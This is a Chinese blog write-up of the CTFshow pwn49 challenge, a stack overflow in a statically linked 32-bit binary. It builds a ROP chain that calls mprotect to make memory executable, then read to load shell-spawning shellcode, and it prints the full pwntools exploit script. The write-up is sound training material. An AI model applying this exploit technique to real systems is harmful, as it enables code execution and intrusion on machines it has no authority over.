CTFshow-pwn入门-栈溢出pwn49(静态链接pwn-mprotect函数的应用)

13 篇文章 10 订阅

pwn49

在这里插入图片描述
首先我们先将pwn文件下载下来,然后赋上可执行权限,再来查看pwn文件的保护信息。

chomd +x pwn
checksec pwn
file pwn

在这里插入图片描述
我们可以看到这是一个32位的pwn文件,并且保护信息开启了NX和canary,也就是堆栈不可执行且有canary。最最最重要的是这个文件是statically linked!!!静态编译文件呀!

根据题目的提示,我们可能需要用到mprotect函数,那我们就先来了解一下什么是mprotect函数吧。这个函数是只要是静态链接的文件都会有的哦。

mprotect()函数可以修改调用进程内存页的保护属性,如果调用进程尝试以违反保护属性的方式访问该内存,则内核会发出一个SIGSEGV信号给该进程。
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。
len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
1)PROT_READ:内存段可读;
2)PROT_WRITE:内存段可写;
3)PROT_EXEC:内存段可执行;
4)PROT_NONE:内存段不可访问。
返回值:0;成功,-1;失败(并且errno被设置)
1)EACCES:无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时,接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。
2)EINVAL:addr不是有效指针,或者不是系统页大小的倍数。
3)ENOMEM:内核内部的结构体无法分配。
这里的参数prot:
r:4
w:2
x:1
prot为7(1+2+4)就是rwx可读可写可执行,与linux文件属性用法类似

OK,开始做题,我们先来将pwn文件拖入ida中反编译一下,查看一下反编译的c代码。

// main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  init_0();
  logo();
  ctfshow();
  return 0;
}
// ctfshow
int ctfshow()
{
  char v1[14]; // [esp+6h] [ebp-12h] BYREF

  return read(0, v1, 100);
}

可以算出偏移地址为0x12 + 0x4 = 22
既然程序是静态连接,并且里面没有system函数,我们就不能使用ret2libc来打了。所以我们就是用mprotect函数来打,因为mprotect函数可以修改一段内存空间的权限,那我们选择一段内存空间将它的权限修改为可读可写可执行,然后将shellcode写在这段空间,之后再将程序的控制流转到这里,不就可以执行shellcode了嘛?即使文件开启了NX,但是我们利用的是栈之外的空间,不久轻松绕过了NX。hhh

下面我们开始构思我们的ROP链:
首先肯定是先来22个填充数据:

payload = 22 * 'a'

然后接下来就是ctfshow函数的返回地址,我们将返回地址设为mprotect函数的地址。我们使用gdb pwn动态调试,使用diass mprotect命令查看汇编代码就能看到mprotect函数的起始地址了。
在这里插入图片描述
我们看到mprotect函数的地址为:0x0806cdd0
那么我们的ROP链就延长为:

payload = 22 * 'a' 
payload += p32(0x0806cdd0)

接下来就是再填入一个mprotect函数的返回地址,这个返回地址可是大有讲究,因为我们需要将它的返回地址设置为read函数的地址,这样我们才能利用read函数将shellcode写到内存空间里。
这样我们的大概思路就是:
填充地址 + mprotect函数 + 返回地址 + mprotect的三个参数 + read函数
我们看到mprotect函数是有三个参数的我们就必须要找到一个具有三个pop一个ret的gadget,因为,我们将三个参数pop之后,栈顶就是read函数的地址了,这样ret之后就跳到read函数执行了。

我们使用ROPgadget --binary pwn --only “pop|ret” | grep "pop"这条命令来找具有3个pop1个ret的gadget。
在这里插入图片描述
那我们就选用这个第三个gadget,地址是0x08056194。
然后再gdb pwn,调试disass ctfshow查看ctfshow的汇编代码就能看到read函数的地址了。
在这里插入图片描述
可以看到read函数地址为:0x806bee0

然后我们再来确定mprotect函数的参数:
第一个参数,我们要修改权限的内存空间起始地址,我们就是用got表的起始地址来存放shellcode。我们使用readelf -S pwn命令可以查看所有节头信息,里边就包含got表的起始地址。
在这里插入图片描述
我们找到了got表的起始地址为:0x080da000
然后第二个参数是修改的空间大小为多少,我们就选用0x1000,足够我们的shellcode使用了。
第三个参数的我们对这片空间赋予的权限是什么,7代表可读可写可执行,这就跟linux文件权限的道理是一样的。

这样我们新的ROP链就为:

payload = 22 * 'a' 
payload += p32(0x0806cdd0) # mprotect函数地址
payload += p32(0x08056194) # 3 pop 1 ret地址	
payload += p32(0x080da000) # 需要修改的内存的起始地址
payload += p32(0x1000) # 修改内存空间的大小
payload += p32(0x7) # 需要赋予的权限
payload += p32(0x806bee0) # read函数地址

接下来就是我们的read函数了。
开始调用read函数ROP链的大概图为:
read函数 + read函数返回地址(就是我们shellcode所在地址-即我们修改的内存空间的起始地址) + read参数1 + read参数2(就是我们shellcode地址) + read参数3(read读取的大小)

这样的话我们就只需要获取read参数3就行了,因为返回地址即shellcode地址都已经找出了,参数1就写0就行,参数3的大小只要不小于shellcode的长度就行。
新的ROP链为:

payload = 22 * 'a' 
payload += p32(0x0806cdd0) # mprotect函数地址
payload += p32(0x08056194) # 3 pop 1 ret地址	
payload += p32(0x080da000) # 需要修改的内存的起始地址
payload += p32(0x1000) # 修改内存空间的大小
payload += p32(0x7) # 需要赋予的权限

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')

payload += p32(0x806bee0) # read函数地址
payload += p32(0x080da000) # read函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间的起始地址)
payload += p32(0x0) 
payload += p32(0x080da000) # shellcode地址
payload += p32(len(shellcode))

之后我们就可以先将ROP链发送过去,这时程序控制流就会执行我们ROP链中的read函数,然后我们再把我们的shellcode发送过去,就成功了!

完整wp:

from pwn import *

p = remote("pwn.challenge.ctf.show", "28141")
payload = 22 * 'a'
payload += p32(0x0806cdd0)# mprotect函数地址
payload += p32(0x08056194)# 3 pop 1 ret地址	
payload += p32(0x080da000)# 需要修改的内存的起始地址
payload += p32(0x1000)# 修改内存空间的大小
payload += p32(0x7)# 需要赋予的权限

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')

payload += p32(0x806bee0)# read函数地址
payload += p32(0x080da000)# read函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间的起始地址)
payload += p32(0x0)
payload += p32(0x080da000)# shellcode地址
payload += p32(len(shellcode))
p.recvuntil("    * *************************************                           ")
p.sendline(payload)
p.sendline(shellcode)
p.interactive()

执行效果:
在这里插入图片描述
在这里插入图片描述
成功拿到flag!

  • 5
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
PWN是一种以攻破计算机系统中的漏洞为目的的竞赛类型,参赛者需要利用漏洞进行攻击并获取系统权限。在ctfshow PWN中,栈溢出是一种常见的攻击方式。 根据提供的引用,我了解到栈溢出是一种通过向程序输入过长的数据导致数据溢出栈的一种攻击手段。栈是一种数据结构,用于存储程序的局部变量和函数调用的返回地址等信息。当程序接收到超出栈空间大小的数据时,溢出的数据会覆盖到栈上的其他数据,从而可能改变程序的执行流程。 根据引用,在ctfshow PWN中,参赛者可以利用栈溢出漏洞来控制程序的执行流程。通过向程序输入特制的数据,可以覆盖控制流中的返回地址,使程序跳转到攻击者精心构造的代码,从而达到获取系统权限的目的。 具体来说,参赛者可以通过向程序发送超出预期的数据,覆盖栈上的返回地址,使其指向攻击者准备好的恶意代码,从而实现栈溢出攻击。攻击者可以利用此漏洞来执行任意代码,包括获取系统权限、执行恶意操作等。 引用和引用提供了一些示例代码,演示了如何利用栈溢出漏洞进行攻击。这些代码使用Python的pwn库来与目标程序进行交互,并通过构造特制的payload来触发栈溢出漏洞,最终实现控制程序执行流程的目的。 需要注意的是,栈溢出是一种非常危险的漏洞,合法的程序设计应该避免出现此类问题。在实际应用中,为了防止栈溢出攻击,开发者需要加强输入验证和数据处理等安全机制。 总结起来,ctfshow PWN栈溢出是一种通过向程序输入过长数据导致栈溢出的攻击方式,在该竞赛中常用于获取系统权限和执行恶意操作。攻击者可以利用漏洞覆盖返回地址,使程序执行恶意代码。然而,栈溢出是一种危险的漏洞,合法的程序设计应该避免此类问题。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [ctfshow pwn4](https://blog.csdn.net/qq_39980610/article/details/126461902)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [ctfshow pwn5](https://blog.csdn.net/qq_39980610/article/details/126462163)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你们de4月天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值